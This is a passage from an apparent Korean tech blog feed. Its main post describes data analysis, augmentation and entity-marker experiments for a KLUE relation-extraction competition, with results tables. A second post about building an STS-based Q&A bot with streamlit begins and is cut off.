&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1052&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YOl1X/btrSU9XBQn3/Spn36p17CcRyv2iKafNyH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YOl1X/btrSU9XBQn3/Spn36p17CcRyv2iKafNyH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YOl1X/btrSU9XBQn3/Spn36p17CcRyv2iKafNyH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYOl1X%2FbtrSU9XBQn3%2FSpn36p17CcRyv2iKafNyH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;797&quot; height=&quot;227&quot; data-origin-width=&quot;1052&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;baseline result&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;{'word': '희극 배우, MC, 배우, 가수', 'start_idx': 32, 'end_idx': 48, 'type': 'POH'}&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;entity &amp;lsquo;word&amp;rsquo;: 희극 배우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Fixed:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;entity &amp;lsquo;word&amp;rsquo;: 희극 배우, MC, 배우, 가수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Entity의 word 안에 쉼표가 존재하는 데이터셋은 전부가 들어가는 것이 아니라 맨 앞 단어만 들어가게끔 되어 있었다. Entity word안에 쉼표가 존재하는 데이터는 약 70개 정도 밖에 없었지만, 이 쉼표로 나누어진 데이터를 통해 추후 증강을 진행하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Entity가 embedding size를 넘어가는 데이터 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tokenizer의 return_offsets_mapping 인자를 True로 설정하여 tokenizing 후에도 entity의 위치를 확인하였다. 이를 통해 Entity의 위치가 512를 넘어가는 데이터는 학습에 혼란을 줄 것으로 파악되어 약 70개 정도의 데이터를 drop 해주었다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Label Column&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;30개의 클라스의 빈도 수를 시각화 해주었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;569&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Hd2JT/btrSUA2hufD/GkN2k26L7GBmVZszPm6fhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Hd2JT/btrSUA2hufD/GkN2k26L7GBmVZszPm6fhk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Hd2JT/btrSUA2hufD/GkN2k26L7GBmVZszPm6fhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHd2JT%2FbtrSUA2hufD%2FGkN2k26L7GBmVZszPm6fhk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;414&quot; height=&quot;479&quot; data-origin-width=&quot;569&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확연한 클라스 간의 불균형이 확인되었고, 추후 Focal loss를 활용하는 등 라벨 불균형을 해결하려고 노력하였다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Source Column&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;569&quot; data-origin-height=&quot;413&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIh76y/btrSWcfkKWK/Lu4d2IHZefxA0pZioMsNYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIh76y/btrSWcfkKWK/Lu4d2IHZefxA0pZioMsNYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIh76y/btrSWcfkKWK/Lu4d2IHZefxA0pZioMsNYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIh76y%2FbtrSWcfkKWK%2FLu4d2IHZefxA0pZioMsNYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;482&quot; height=&quot;350&quot; data-origin-width=&quot;569&quot; data-origin-height=&quot;413&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시각화 결과 wikipedia, wikitree, policy_briefing 세 가지 종류가 있는 것이 확인되었고, 세 가지 출처 특성상 문어체로 작성 되어 있는 것으로 예측했고, 추후 backbone 모델을 선택할 때에 pretrain datset가 문어체로 이루어진 모델들에 집중하였다.&lt;/p&gt;
&lt;h1&gt;Experiments&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실험 결과&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 306px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;Condition&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&amp;nbsp;eval_loss&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&amp;nbsp;eval_micro_f1_score&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;eval_auprc&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;eval_accuracy&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;# of Data&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;inference(micro f1)&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;inference(auprc)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 34px;&quot;&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;Base&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.8814908266067505&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;81.51658767772513&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;74.18295304741712&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.7947336002463813&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;25976&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;62.1118&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;63.5269&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 34px;&quot;&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;Base(preprocessing fixed)&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.8115533590316772&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;83.71089536138079&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;77.29641123006817&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.8176778564829073&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;25976&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;62.6380&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;61.6267&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 34px;&quot;&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;Aug_one&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.8311185836791992&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;83.41437061048082&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;77.76530982213737&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.8144441022482292&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;26097&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;62.0132&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;60.9910&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 34px;&quot;&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;Aug_combination&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.8233703970909119&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;83.82195591696984&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;77.91302218583246&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.8216815522020327&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;33049&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;63.9556&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;63.8575&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 34px;&quot;&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;Aug_permutation&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.778175413608551&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;83.23128155548395&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;75.7950872568299&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.8127502309824454&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;95827&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;50.4120&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;46.6036&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 34px;&quot;&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;hanja_to_kor&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.8147274255752563&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;81.57000328911302&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;74.10645410553387&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.7945796119494919&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;25976&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;60.0056&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;64.7050&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 34px;&quot;&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;hanja_to_kor_com&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;1.071782112121582&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;82.21212457054195&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;73.52723325660006&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.8058207576224207&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;25976&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;62.3361&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;61.1169&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 34px;&quot;&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;oversized_del&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.6476&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;83.04728158564943&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;74.884&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;0.8107&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;25205&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;62.4557&lt;/td&gt;
&lt;td style=&quot;height: 34px;&quot;&gt;63.9982&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Augmentation&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 word가 쉼표로 구분지을 수 있는 데이터의 개수는 train_data 안에 45개가 있다. 쉼표로 구분지은 entity들은 동일한 entity type을 가질 것이라고 가정하였고, entity를 제외한 나머지 칼럼(sentence, label, source)는 유지하고 entity만 나눠줘서 데이터를 증강해 주었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉼표로 나눈 데이터들, 위 경우에는 [희극배우, MC, 배우, 가수]인데, 이 배열을 하나씩 나눠서 증강해주는 방식이 (aug_one)이며, 이 배열의 조합을 증강해준 것이 aug_com이고, 이 배열의 순열을 증강해준 것이 aug_per이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과적으로 배열의 조합을 증강해준 aug_com이 가장 좋은 성능을 보였고, baseline 대비 micro f1에 대하여 1.3이상의 성능 개선을 보였다. aug_one, aug_com은 뚜렷한 성능 개선이 없었다. 이 결과에 대한 이유로 다음과 같은 추측을 할 수 있었다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Aug_one은 121개의 데이터만 추가되었고, 전체 데이터셋의 크기 대비 미미한 양의 증강이라 효과가 없었던 것으로 추정된다.&lt;/li&gt;
&lt;li&gt;Aug_com 같은 경우 7073개의 데이터가 증강되었고, klue dataset 내부에서도 sentence가 중복되는 데이터 수가 3000개가 넘기 때문에, 전체 데이터에 편향성을 줄 정도의 증강이 아니었던 것으로 추정된다. 증강된 데이터의 entity도 모두 다른 조합이므로, 모델의 표현력을 높이는 효과를 준 것으로 추정된다.&lt;/li&gt;
&lt;li&gt;Aug_per 같은 경우 약 7만개 이상의 데이터가 증강되었다. 원래 데이터의 크기가 25976개였던 것을 감안하면, 데이터의 편향을 아예 바꿀 정도의 양이다. 증강된 데이터에만 모델이 집중하도록 유도가 되어서 실제 inference에서는 좋은 성과를 내지 못했던 것 같다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Hanja_to_kor&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Train data의 sentence column 에 한자가 포함되어 있는 데이터의 개수는 2504개이고, subject entity에 포함되어 있는 데이터의 개수는 3개, object_entity는 175개였다. 또한 test_data에서는 각각 406, 33, 24개였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Klue/bert-base tokenizer를 통해 확인한 결과 vocab에 들어있지 않는 한자들은 &amp;lt;unk&amp;gt; 토큰으로 대체되는 것을 확인하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;{'word': '金基昶', 'start_idx': 4, 'end_idx': 6, 'type': 'PER'}&amp;rdquo;&amp;nbsp;['金', '基', '[UNK]']&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 해결하기 위해 hanja 라이브러리를 사용하였고, 두 가지 옵션이 존재했다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;substitution: 한자를 한국어로 대체하는 옵션&lt;/li&gt;
&lt;li&gt;'combination-text': 한자의 한국어를 bracket 사이에 넣어주는 옵션(ex: 金基昶(금기창))&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 옵션 모두 큰 효과를 보지 못하였다. 이 결과에 대해 다음과 같은 추측을 할 수 있었다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;데이터셋 내부 대부분의 한자는 사람의 이름이다.(wikipedia, wikitree 특성상) 대부분의 한자 경우 이름(한자) 식으로 되어있으므로, 한자의 한국어 음이 대부분의 경우 주어졌으므로, 한국어로 변환해도 큰 효과를 보지 못했던 것으로 추정된다.&lt;/li&gt;
&lt;li&gt;hanja 라이브러리로 한자를 한국어로 번역 시 두 가지 이상의 음을 가지는 한자에 취약하다. 위 예시를 들면 金基昶은 실제로 김기창이지만, 번역시 금기창이 된다. 이는 정보의 왜곡으로 이어질 수 있으므로, 오히려 성능이 떨어지는 결과로 이어진 것 같다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Oversized_del&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리 팀의 경우 tokenizer의 embedding size를 학습 효율을 위하여 최대 512로 보았다. 하지만 klue dataset의 sentence 칼럼의 값들은 대체적으로 길이가 길었다.(아래 그래프의 x축은 문장의 길이, y축은 갯수다)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순히 문장의 길이만으로 512를 넘어가지 않는다고 확신할 수 없었고, 실제로 tokenizing을 한 값을 토대로 subject / object entity의 위치가 512를 넘어가는 경우를 drop해주었다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;An Improved Baseline for Sentence-level Relation Extraction&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;189&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmYC5M/btrSVqkBc4D/9k9t8Kw0IqKyto8p3fWtT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmYC5M/btrSVqkBc4D/9k9t8Kw0IqKyto8p3fWtT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmYC5M/btrSVqkBc4D/9k9t8Kw0IqKyto8p3fWtT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcmYC5M%2FbtrSVqkBc4D%2F9k9t8Kw0IqKyto8p3fWtT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;942&quot; height=&quot;189&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;189&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 112px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Method&lt;/td&gt;
&lt;td&gt;&amp;nbsp;eval_f1&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&amp;nbsp;eval_auprc&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;inference_f1&lt;/td&gt;
&lt;td&gt;inference_auprc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;bert-base&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;83.71089536138079&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;83.71089536138079&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;62.6380&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;61.6267&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;Entity mask&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;83.26461570990591&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;76.52407859243088&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;40.2905&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;38.7714&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;Entity marker&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;82.55309926311227&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;75.95485253894314&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;54.9873&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;53.3891&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;Entity marker(punct)&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;82.97755883962779&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;75.15339575561447&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;57.8795&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;58.1863&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;Typed entity marker&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;82.86281429201587&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;73.9305362530267&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;56.4742&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;55.0037&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;Typed entity marker(punct)&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;80.77239112571898&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;67.82235926263863&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;58.1295&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;51.2219&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5가지 실험 모두 baseline 대비 성능 개선을 이뤄내지 못했다. eval 단계에서는 높은 성능을 보였으나 실제 inference에서 좋은 성과를 내지 못한 것으로 보아, 구현 단계에서 문제가 있었던 것으로 파악된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dataset 제작 실습을 진행하면서 위의 영어인 PERSON, ORGANIZATION 등을 한국어로 변환해서 &amp;lt;S:사람&amp;gt;, @ * 사람 * @ 형식으로 다시 구현할 예정이다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;결론&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EDA를 처음 담당하면서 데이터를 직접 하나하나 찍어보면서 이해하니 프로젝트를 이해하기 훨씬 쉽다는 생각이 들었다. 또한 데이터를 제대로 이해해야 이후에 사용할 방법론을 선택하는데에 있어서 많은 도움이 되었던 것 같다. 이번 데이터셋과 task는 너무나 유명해서 정형화된 틀이 이미 존재한다는 것을 확인했고, 남들과 같은 차별화된 결과를 만들고 싶다는 생각에 데이터에 매진되어 어떤 결과든 만들려고 했던 것 같다. 프로젝트를 이해하는데에는 많은 도움이 되었지만, 추후에는 논문이나 다른 사람들이 시도해서 효과를 본 방법론을 활용해보고 싶다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>AI Tech 4기/Level2</category>
      <category>4기</category>
      <category>AI Tech</category>
      <category>P Stage</category>
      <category>re</category>
      <author>daniel7481</author>
      <guid isPermaLink="true">https://developersdream.tistory.com/138</guid>
      <comments>https://developersdream.tistory.com/138#entry138comment</comments>
      <pubDate>Mon, 5 Dec 2022 21:09:10 +0900</pubDate>
    </item>
    <item>
      <title>STS를 활용한 간단한 QNA봇 만들기</title>
      <link>https://developersdream.tistory.com/137</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;P stage sts 대회&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;P stage sts대회가 끝난 후, 우리가 열정적으로 돌리던 모델들은 서버에 외롭게 남겨졌다. 세상에 존재하는 AI중 8~90퍼센트는 실제로 사용이 되고 있지 않다는 article을 medium에서 봤던 것 같다. 대부분 더 좋은 성능을 내는, 더 빠른 모델을 찾기 위해 너무나 많은 자원을 소비하지만 실제로 우리 삶에 접목이 됬던 모델들은 극히 일부였던 것 같다. 사실 나 또한 이 모델을 활용할 생각은 해보지 못했는데, AI Tech 이번 주 강의가 AI 서비스 개발 기초다(정말 짜임새 있는 교육 과정이다). 이 과정에서 MLOps의 각 components를 알았고, 자원이 많이 요구되는 풀스택 개발을 통한 웹 개발이 아닌 voila, streamlit을 사용하는 방법을 알려주셨다. Java를 사용한 간단한 웹 개발도 너무나 어려웠던 나로써는 streamlit은 신세계였다. voila 또한 노트북 자체를 웹에서 볼 수 있다는 점에서 프로토타입으로써의 활용도가 높은 것 같다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Business model&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 주 강의 중에서 business model 부분이 정말 흥미로웠다. AI를 공부하면서도 AI에 치우치지 않고, &lt;b&gt;business&lt;/b&gt;를 생각하려고 노력하는 사람으로써 P stage에서 만들었던 모델을 어떤 식으로 활용해야 할까에 대한 고민은 즐거웠다. 일단 당장 생각나는 것이 없어서 구글링을 해보았다. Semantic Textual similarity business model이라고 치니 정말 많은 자료가 나왔다. &lt;span style=&quot;color: #111f27;&quot;&gt;Plagiarism detection, &lt;span style=&quot;color: #111f27;&quot;&gt;keyword search, Customer service 등등 수 많은 주제 중에서 &lt;b&gt;Customer service&lt;/b&gt;에 눈이 갔다. 그래서 sentence1을 입력으로 받고, 내가 준비한 수많은 sentence2에서 가장 상관계수가 높은 문장을 고른 후, 그 문장에 대한 정답을 출력하는 식으로 동작하려고 했다. 향후 모델을 발전시켜 어느 산업이든 질의응답 봇으로 사용할 수도 있겠다(물론 성능은 그리 높지는 않을 수도 있다)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #111f27;&quot;&gt;&lt;span style=&quot;color: #111f27;&quot;&gt;Baseline 모델은 단순하게 ,하지만 파이프라인은 견고하게 해야했다. 먼저 어떤 주제에 대한 customer service인지는 정하지 않았고, 나에 대한 몇 가지 질문과 답을 준비해보았다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
